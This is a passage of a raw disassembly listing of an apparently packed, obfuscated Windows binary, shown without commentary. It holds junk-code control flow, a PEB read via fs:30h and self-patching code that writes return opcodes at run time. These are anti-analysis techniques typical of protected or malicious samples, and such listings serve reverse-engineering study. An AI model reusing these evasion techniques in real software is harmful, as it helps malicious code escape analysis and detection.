O U T I N E ======================================= sub_10018F13 proc near ; DATA XREF: sub_1001685A+Bo var_4 = dword ptr -4 push ebx mov ebx, eax xchg ebx, [esp+4+var_4] ror eax, 10h push offset loc_1001D6C3 jmp nullsub_95 sub_10018F13 endp ; --------------------------------------------------------------------------- loc_10018F26: ; CODE XREF: an.kk9rg:10017CA3j not esi ; =============== S U B R O U T I N E ======================================= sub_10018F28 proc near ; CODE XREF: an.kk9rg:1001D2BBp xchg ecx, [esp+0] pop ecx push 856E881h pop edi add edi, 5D3E1589h jmp loc_1001C6F3 sub_10018F28 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A365 loc_10018F3D: ; CODE XREF: sub_1001A365+Cj mov edx, ebp xchg ebx, [esp+0] mov ebp, ebx pop ebx jmp loc_1001B3B9 ; END OF FUNCTION CHUNK FOR sub_1001A365 ; --------------------------------------------------------------------------- loc_10018F4A: ; CODE XREF: an.kk9rg:100142B5j sbb ebp, esi push ebp ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10018F4D: ; CODE XREF: sub_1001A97E:loc_100142A8j xor eax, 127C022Eh call sub_10015DB9 loc_10018F58: ; CODE XREF: sub_1001AC73-55ADj jmp loc_10017758 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B92 loc_10018F5D: ; CODE XREF: sub_1001537B:loc_100155BAj ; sub_10016B92:loc_1001ABA4j pop ebp push ds:dword_1001B728 retn ; END OF FUNCTION CHUNK FOR sub_10016B92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10018F65: ; CODE XREF: sub_100194EA+23C5j mov eax, [ebp-1Ch] jmp loc_10016E9F ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10018F6D: ; CODE XREF: sub_1001CF40-1E65j jge loc_1001B2D4 jmp loc_1001C9C1 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_10018F78: ; CODE XREF: sub_10017A58+9j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_1001C9C1 jmp loc_100181DC ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10018F8C: ; CODE XREF: sub_1001564A:loc_10019026j test eax, 8000h jmp loc_10014729 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_10018F97: ; CODE XREF: an.kk9rg:10014434j mov ebp, esp add esp, 0FFFFFFCCh push offset sub_100146AF jmp loc_10015580 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_10018FA6: ; CODE XREF: sub_1001504E+68D7j xor ebp, eax jmp loc_10014FFC ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- loc_10018FAD: ; CODE XREF: an.kk9rg:loc_100183C6j jge loc_10018EB7 ; START OF FUNCTION CHUNK FOR sub_1001D129 loc_10018FB3: ; CODE XREF: sub_1001D129+6j jmp loc_100190F2 ; END OF FUNCTION CHUNK FOR sub_1001D129 ; --------------------------------------------------------------------------- and eax, 0DB6CD12Eh or ebx, edx adc ecx, 8BD160ACh jmp loc_10018EB7 ; --------------------------------------------------------------------------- loc_10018FCB: ; DATA XREF: sub_10018C76+579o mov [ebp-20h], eax ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_10018FCE: ; CODE XREF: sub_10018C76-2C4Ej ; sub_10018C76-286Fj ... mov eax, [ebp-20h] sub eax, [ebp-28h] mov [ebp-24h], eax mov eax, [ebp-24h] mov esp, ebp pop ebp jmp nullsub_38 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_10018FE2: ; CODE XREF: sub_1001C799-135j shr eax, 8 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; =============== S U B R O U T I N E ======================================= sub_10018FE5 proc near ; CODE XREF: sub_1001B3A1+175Fp xchg eax, [esp+0] pop eax call sub_1001ABFD jmp loc_100185E0 sub_10018FE5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10018FF3: ; CODE XREF: sub_100188EE:loc_1001678Ej ; sub_100188EE-108Dj mov eax, [ebp-4] xor edx, edx push ebp push edx pop ebp xchg ebp, [esp+0] push eax jmp loc_1001A909 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C547 loc_10019004: ; CODE XREF: sub_1001C547:loc_10017504j cmp dword ptr [ebp-14h], 6 setz al loc_1001900B: ; CODE XREF: sub_10015633+76DBj call sub_100182D9 pop ecx shl eax, 3 mov edx, [ebp+8] jmp loc_100197FE ; END OF FUNCTION CHUNK FOR sub_1001C547 ; =============== S U B R O U T I N E ======================================= sub_1001901C proc near ; DATA XREF: sub_1001A3F4+36F8o mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp pop ebp retn sub_1001901C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10019026: ; CODE XREF: sub_1001564A+Ej jmp loc_10018F8C ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001902B: ; CODE XREF: sub_10018C4D-3818j jmp loc_1001B4A3 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; =============== S U B R O U T I N E ======================================= sub_10019030 proc near ; CODE XREF: sub_10019F19-3B72p ; sub_100180C2+139p ... ; FUNCTION CHUNK AT 100138B8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10014F89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016D25 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100176EA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017830 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10018BA2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019037 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001923F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001949E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10019847 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001CD98 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CF09 SIZE 0000001A BYTES push ebp jmp loc_10016D25 sub_10019030 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10019037: ; CODE XREF: sub_10019030+81Ej jmp loc_1001923F ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001903C: ; CODE XREF: sub_1001C535-73B5j jmp loc_100169BB ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10019041: ; CODE XREF: sub_1001893F:loc_10013AFEj sbb ebx, edi cmp esi, 0A5DED04Ah jmp loc_10016D34 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_1001904E: ; CODE XREF: an.kk9rg:1001C56Dj call sub_100141F5 cmp eax, [ebp-8] jnz loc_1001CE18 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] jmp loc_1001D34E ; --------------------------------------------------------------------------- loc_1001906A: ; DATA XREF: an.kk9rg:100191E3o add eax, ebp add eax, 0BC513039h popf xor edx, edx call sub_10019030 jmp loc_100133AA ; --------------------------------------------------------------------------- loc_1001907F: ; DATA XREF: sub_10015168+1o push ecx mov eax, large fs:30h mov eax, [eax+0Ch] push offset sub_10017AEF jmp locret_1001D033 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10019094: ; CODE XREF: sub_10018E79:loc_100196B5j jz loc_1001C7EE jmp loc_1001C0F8 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; =============== S U B R O U T I N E ======================================= sub_1001909F proc near ; DATA XREF: an.kk9rg:loc_10015BCBo xchg eax, [esp+0] jmp loc_100194D1 sub_1001909F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_100190A7: ; CODE XREF: sub_10015D9E+6815j push offset loc_1001405D jmp loc_10018DB9 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- loc_100190B1: ; CODE XREF: an.kk9rg:loc_10014629j push ecx push ebx push offset loc_10018B5B jmp locret_10016ADF ; --------------------------------------------------------------------------- loc_100190BD: ; CODE XREF: an.kk9rg:100178EFj add ecx, eax pop eax mov [ecx], eax pop ecx push esi jmp loc_10015A16 ; --------------------------------------------------------------------------- loc_100190C9: ; CODE XREF: an.kk9rg:1001DF0Cj mov byte ptr [eax], 0C3h jmp loc_10018A19 ; --------------------------------------------------------------------------- loc_100190D1: ; CODE XREF: an.kk9rg:100190D6j ; DATA XREF: vyridizn:off_10002028o call sub_100190DC jmp ds:off_10002028 ; =============== S U B R O U T I N E ======================================= sub_100190DC proc near ; CODE XREF: an.kk9rg:loc_100190D1p ; sub_100199B5:loc_1001ADCBj ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013037 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001467E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10014914 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10014A4A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016B3A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016F19 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 1001708E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100185C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019163 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100192FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10019523 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10019A38 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001A1ED SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001C238 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CF9C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D05A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DA7D SIZE 00000005 BYTES pop edx jz loc_10014A4A mov eax, [esp+0] jmp loc_1001D05A sub_100190DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_100190EB proc near ; CODE XREF: sub_10013688+5BF5p ; an.kk9rg:1001AC83j ; FUNCTION CHUNK AT 10017052 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CCB1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001D329 SIZE 00000010 BYTES xchg ebx, [esp+0] pop ebx or [edx-8], eax loc_100190F2: ; CODE XREF: sub_1001D129:loc_10018FB3j ; an.kk9rg:1001AE8Fj ... jb loc_1001CCC6 loc_100190F8: ; CODE XREF: an.kk9rg:10014763j cmp dword ptr [ebp-14h], 4 jnz loc_1001C7B0 jmp loc_1001CCB1 sub_100190EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10019107: ; CODE XREF: an.kk9rg:100157F0j jns loc_10015E48 sbb eax, 0EFC1D3C8h ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10019113: ; CODE XREF: sub_10016D04:loc_10013AADj add eax, esi loc_10019115: ; CODE XREF: an.kk9rg:loc_1001CEFEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100165CE jmp loc_10016357 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CB33 loc_10019126: ; CODE XREF: sub_1001CB33:loc_1001CB3Ej jnz loc_100134A2 jmp loc_10015B9A ; END OF FUNCTION CHUNK FOR sub_1001CB33 ; --------------------------------------------------------------------------- loc_10019131: ; CODE XREF: an.kk9rg:1001A483j push 2659E2F3h pop ebx sub ebx, 836AD494h test ebx, 400000h jmp loc_1001AFF4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10019149: ; CODE XREF: sub_10016D66+4034j jmp loc_1001D344 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- not ecx shl edx, 1Eh jmp sub_10015945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10019158: ; CODE XREF: sub_100142E8:loc_100142EDj jnz loc_1001444B jmp loc_1001B76C ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_10019163: ; CODE XREF: sub_100190DC:loc_1001CF9Cj mov eax, 0D42F615Bh jmp loc_1001467E ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001916D: ; CODE XREF: sub_1001A97E-2D44j xor ebp, ebx loc_1001916F: ; CODE XREF: sub_1001C535:loc_1001A174j call sub_1001C2A9 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; START OF FUNCTION CHUNK FOR sub_1001A7BD loc_10019174: ; CODE XREF: sub_1001A7BD+Dj jmp loc_1001601E ; END OF FUNCTION CHUNK FOR sub_1001A7BD ; --------------------------------------------------------------------------- loc_10019179: ; CODE XREF: an.kk9rg:loc_10017CEEj xchg edi, [esp] ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001917C: ; CODE XREF: sub_1001893F:loc_10017CC8j mov ebp, esp push ecx mov [ebp-4], eax push offset sub_10019595 jmp sub_10018268 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001918C: ; CODE XREF: sub_1001CF40:loc_1001308Bj xchg eax, ebx jnp loc_1001729A ja loc_1001CC85 jmp loc_1001B0D8 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- loc_1001919F: ; CODE XREF: an.kk9rg:10013776j adc eax, edx ; START OF FUNCTION CHUNK FOR sub_10013753 loc_100191A1: ; CODE XREF: sub_10013753+Dj or edi, ds:100000C1h add edi, 61C32035h mov [edi], eax pop edi lea eax, loc_1001760B mov byte ptr [eax], 0C3h jmp loc_1001760B ; END OF FUNCTION CHUNK FOR sub_10013753 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_100191BE: ; CODE XREF: sub_10016D04+43FBj shr edi, 11h add eax, 26C160D9h test esi, 39B65588h jmp loc_1001C38F ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_100191D2: ; CODE XREF: sub_1001767A+31E2j jz loc_100155C2 jmp loc_1001A312 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_100191DD: ; DATA XREF: sub_100174F4-3263o xor eax, 0DBFBD171h push offset loc_1001906A jmp locret_1001CD44 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100191EE: ; CODE XREF: sub_10018C76:loc_10016D2Fj pop ecx push offset loc_10018FCB jmp loc_100132D1 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; =============== S U B R O U T I N E ======================================= sub_100191F9 proc near ; DATA XREF: sub_1001A3F4+20o ; FUNCTION CHUNK AT 1001DADD SIZE 0000000A BYTES push eax call sub_100142E8 mov ds:dword_10019650, eax mov ds:byte_10019638, 1 jmp loc_1001DADD sub_100191F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016323 loc_10019210: ; CODE XREF: sub_10016323+6C7j sbb ecx, 7B37E8A6h ; END OF FUNCTION CHUNK FOR sub_10016323 ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_10019216: ; CODE XREF: sub_1001D461-67FBj ; sub_10016D04+8j ... jmp loc_10016782 ; --------------------------------------------------------------------------- loc_1001921B: ; CODE XREF: sub_1001492C:loc_10017487j ; sub_10016D04+37D0j ... xchg eax, [esp+0] mov ecx, eax loc_10019220: ; CODE XREF: an.kk9rg:loc_1001429Bj pop eax pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_10019223: ; CODE XREF: sub_1001C26A-46EDj jmp loc_100141CD ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- locret_10019228: ; CODE XREF: an.kk9rg:loc_1001D02Ej retn ; --------------------------------------------------------------------------- loc_10019229: ; CODE XREF: an.kk9rg:10017B44j jo loc_10015840 ; START OF FUNCTION CHUNK FOR sub_1001997C loc_1001922F: ; CODE XREF: sub_1001997C-60EDj xor edi, 437FFF8Ch add eax, edi xchg eax, [esp+0] jmp loc_10014020 ; END OF FUNCTION CHUNK FOR sub_1001997C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_1001923F: ; CODE XREF: sub_10019030:loc_10019037j jz loc_1001C484 jmp loc_100176EA ; END OF FUNCTION CHUNK FOR sub_10019030 ; =============== S U B R O U T I N E ======================================= sub_1001924A proc near ; CODE XREF: an.kk9rg:100139D4j ; an.kk9rg:10015877p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001DD15 SIZE 00000008 BYTES xchg edi, [esp+0] pop edi push 47C6967Fh pop eax loc_10019254: ; CODE XREF: an.kk9rg:loc_1001B82Ej rol eax, 1Bh or eax, 85FCB377h add eax, offset byte_10030E07 jmp loc_1001DD15 sub_1001924A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10019268: ; CODE XREF: an.kk9rg:10019339j push ebp ; =============== S U B R O U T I N E ======================================= sub_10019269 proc near ; CODE XREF: sub_1001CA40+8p ; FUNCTION CHUNK AT 10013A55 SIZE 00000005 BYTES xchg eax, [esp+0] loc_1001926C: ; CODE XREF: an.kk9rg:loc_10013993j pop eax push esi mov esi, ecx xchg esi, [esp+0] mov esp, ebp jmp loc_10013A55 sub_10019269 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001927A: ; CODE XREF: sub_10013688:loc_1001D8D4j mov edx, [ebp+8] call sub_100190EB ; END OF FUNCTION CHUNK FOR sub_10013688 ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10019282: ; CODE XREF: sub_100194EA+9FAj jmp loc_10017992 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- and ebx, 0E17A1249h push ebx jmp sub_10017A58 ; =============== S U B R O U T I N E ======================================= sub_10019293 proc near ; CODE XREF: sub_10013BB8:loc_10013BC5p ; an.kk9rg:1001AC58j xchg ecx, [esp+0] pop ecx cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_10013BBF retn sub_10019293 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100192A7: ; CODE XREF: an.kk9rg:10015489j jmp locret_1001A670 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi jmp loc_10016A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CB9 loc_100192B6: ; CODE XREF: sub_10017CB9:loc_10016B07j jnz loc_1001A245 ror esi, 1Dh or esi, ecx jmp loc_1001A245 ; END OF FUNCTION CHUNK FOR sub_10017CB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_100192C6: ; CODE XREF: sub_10014CDF+8j rol eax, 18h push eax retn ; END OF FUNCTION CHUNK FOR sub_10014CDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_100192CB: ; CODE XREF: sub_10017A58+3303j jmp loc_10015F5F ; END OF FUNCTION CHUNK FOR sub_10017A58 ; =============== S U B R O U T I N E ======================================= sub_100192D0 proc near ; CODE XREF: sub_10018066:loc_1001CAD1j ; FUNCTION CHUNK AT 10017207 SIZE 00000005 BYTES push ebx mov ebx, ebp push offset loc_100193D9 jmp loc_10017207 sub_100192D0 endp ; =============== S U B R O U T I N E ======================================= sub_100192DD proc near ; DATA XREF: sub_10013389+8Co ; FUNCTION CHUNK AT 100174EF SIZE 00000005 BYTES xchg ebx, [esp+0] jmp loc_100174EF sub_100192DD endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100192E6: ; CODE XREF: sub_1001B5A3-463Dj jmp loc_1001993E ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- loc_100192EB: ; CODE XREF: an.kk9rg:1001DC8Aj jo loc_10016120 or ecx, 807EB780h jmp sub_10016B92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_100192FC: ; CODE XREF: sub_100190DC-219Ej jnz loc_1001491B jmp loc_100185C9 ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10019307: ; CODE XREF: sub_100180C2+Cj mov eax, (offset loc_10013FEE+2) call sub_1001D1DB cmp ds:dword_10013FFC, 0 jnz loc_1001820A lea edx, [ebp+var_14] mov eax, offset dword_10019624 call sub_10019030 lea eax, [ebp+var_14] jmp loc_100163AF ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- sbb esi, 0D5438B2Eh jmp loc_10019268 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001933E: ; CODE XREF: sub_10013389:loc_1001AF7Ej and edx, ebp jmp sub_10015086 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_10019345: ; DATA XREF: sub_10019771+5o push 0CFACF77Bh pop esi add esi, 61E0EA0Bh sub esi, ds:100000C5h cmp esi, 0CF23CC9Dh jmp loc_100183C6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10019367: ; CODE XREF: sub_1001ABFD:loc_1001B32Bj jmp loc_100188CB ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B20F loc_1001936C: ; CODE XREF: sub_1001B20F+1Bj mov esp, ebp pop ebp push ds:dword_1001BC9C retn ; --------------------------------------------------------------------------- loc_10019376: ; CODE XREF: sub_1001B20F+4j mov ebp, esp call nullsub_5 mov eax, ds:dword_1001BC9C call sub_100174F4 jmp loc_1001A844 ; END OF FUNCTION CHUNK FOR sub_1001B20F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001938C: ; CODE XREF: sub_10019595:loc_10016B64j jnz loc_1001D9B9 cdq jle loc_1001B63A jmp loc_1001D9B9 ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018798 loc_1001939E: ; CODE XREF: sub_10018798-215Bj mov ecx, ebx cdq loc_100193A1: ; CODE XREF: sub_10018798:loc_1001771Dj call sub_10019473 ; END OF FUNCTION CHUNK FOR sub_10018798 ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_100193A6: ; CODE XREF: sub_10016D04-182Bj jmp loc_1001DCB8 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A39 loc_100193AB: ; CODE XREF: sub_10016A39+Dj ; an.kk9rg:1001AC68j mov edx, ebx pop ebx mov eax, [esp-8+arg_4] ; END OF FUNCTION CHUNK FOR sub_10016A39 ; =============== S U B R O U T I N E ======================================= sub_100193B1 proc near ; CODE XREF: sub_10015B5D:loc_1001CB0Aj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016D8D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001BA56 SIZE 0000000E BYTES push ebx mov ebx, edx xchg ebx, [esp+4+var_4] jmp loc_10016D8D sub_100193B1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100193BC: ; CODE XREF: sub_10013389:loc_100151F8j jnz loc_100134FD mov ebx, 99785974h jmp loc_100134FB ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0A8h, 10h, 0 dd 1DEEC100h, 16DFE9h db 0 ; --------------------------------------------------------------------------- loc_100193D9: ; DATA XREF: sub_100192D0+3o xchg ebx, [esp] call sub_1001AAAA jnb loc_1001B7F6 cmp ebp, 57CCF2DBh jmp loc_10017211 ; =============== S U B R O U T I N E ======================================= sub_100193F2 proc near ; CODE XREF: an.kk9rg:10016713j ; sub_1001B2CC+1751p ; FUNCTION CHUNK AT 1001322E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 100138F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100146C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014AF4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10014B92 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015BC1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016775 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016E80 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017328 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017A99 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10017F72 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018278 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100188DA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10018915 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10018977 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001973D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10019FA5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001A1C6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001ACCE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001AD4B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B441 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001C32F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C7FB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001CA86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CAE7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001CC29 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 1001D609 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001D90D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001DA32 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add esp, 8 mov [ebp-4], eax jmp loc_10017328 sub_100193F2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10019401 proc near ; CODE XREF: sub_10017273+4p ; sub_1001B45F+7p push ebp mov ebp, esp jmp sub_10014968 sub_10019401 endp ; =============== S U B R O U T I N E ======================================= sub_10019409 proc near ; CODE XREF: sub_10018268j ; DATA XREF: sub_10013389:loc_1001825Eo arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 100132DD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001332E SIZE 00000020 BYTES ; FUNCTION CHUNK AT 100135E2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10013766 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100137EC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10014158 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 10014200 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100146E8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 100149BA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014F1D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 100154DE SIZE 00000022 BYTES ; FUNCTION CHUNK AT 100155CC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 10015A88 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10015E02 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015ED0 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100166C8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001687D SIZE 00000043 BYTES ; FUNCTION CHUNK AT 10016EB1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100186D5 SIZE 00000005 BYTES ; 